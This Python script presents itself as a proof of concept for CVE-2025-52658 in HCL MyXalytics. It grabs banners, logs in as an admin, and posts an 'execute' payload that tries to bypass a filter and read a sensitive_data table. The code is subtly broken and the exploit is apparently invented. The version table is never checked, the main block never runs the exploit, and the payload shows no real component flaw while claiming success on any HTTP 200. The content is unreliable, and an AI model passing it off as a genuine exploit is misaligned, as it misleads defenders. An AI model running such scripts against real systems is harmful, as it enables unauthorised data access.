# CVE-2025-52658 - HCL MyXalytics Vulnerable Components PoC
# This is a conceptual PoC demonstrating exploitation of outdated components
# in HCL MyXalytics platform
import requests
import json
# Target configuration
TARGET_URL = "https://target-hcl-myxalytics.example.com"
ADMIN_ENDPOINT = f"{TARGET_URL}/api/v1/admin"
# Step 1: Identify outdated components via banner grabbing
def identify_components(session):
"""Identify the versions of components used by the target"""
print("[*] Identifying components used by HCL MyXalytics...")
response = session.get(TARGET_URL)
headers = response.headers
# Extract server information
server_info = headers.get('Server', 'Unknown')
x_powered_by = headers.get('X-Powered-By', 'Unknown')
print(f"[+] Server: {server_info}")
print(f"[+] X-Powered-By: {x_powered_by}")
# Check for known vulnerable component signatures
vulnerable_signatures = {
'Apache Commons Collections': ['3.2.1', '4.0', '4.1'],
'Log4j': ['2.0', '2.1', '2.2', '2.3', '2.4', '2.5', '2.6', '2.7', '2.8', '2.9', '2.10', '2.11', '2.12', '2.13', '2.14'],
'Spring Framework': ['4.3.0', '4.3.1', '4.3.2', '5.0.0'],
'Jackson Databind': ['2.9.0', '2.9.1', '2.9.2', '2.9.3', '2.9.4', '2.9.5', '2.9.6', '2.9.7', '2.9.8', '2.9.9'],
}
return vulnerable_signatures
# Step 2: Authenticate with valid credentials (high privileges required)
def authenticate(session, username, password):
"""Authenticate with admin credentials (PR:H - High privileges required)"""
print(f"[*] Authenticating as {username}...")
login_data = {
"username": username,
"password": password
}
response = session.post(f"{TARGET_URL}/api/v1/auth/login", json=login_data)
if response.status_code == 200:
token = response.json().get('token')
session.headers.update({'Authorization': f'Bearer {token}'})
print("[+] Authentication successful")
return True
return False
# Step 3: Exploit known vulnerability in outdated component
def exploit_outdated_component(session):
"""Exploit a known vulnerability in an outdated component"""
print("[*] Attempting to exploit outdated component vulnerability...")
# Example: Exploit through deserialization or known CVE in bundled library
payload = {
"action": "execute",
"component": "analytics-engine",
"params": {
"query": "SELECT * FROM sensitive_data",
"bypass_filter": True
}
}
response = session.post(ADMIN_ENDPOINT, json=payload)
if response.status_code == 200:
print("[+] Exploit successful - data accessed")
return response.json()
else:
print(f"[-] Exploit failed: {response.status_code}")
return None
# Main execution
if __name__ == "__main__":
session = requests.Session()
# Identify components
components = identify_components(session)
# Note: Actual exploitation requires valid admin credentials (PR:H)
# and user interaction (UI:R) as per CVSS vector
print("\n[!] Note: This vulnerability requires high privileges (PR:H)")
print("[!] and user interaction (UI:R) to exploit")
print("[!] Recommend updating to the latest version of HCL MyXalytics")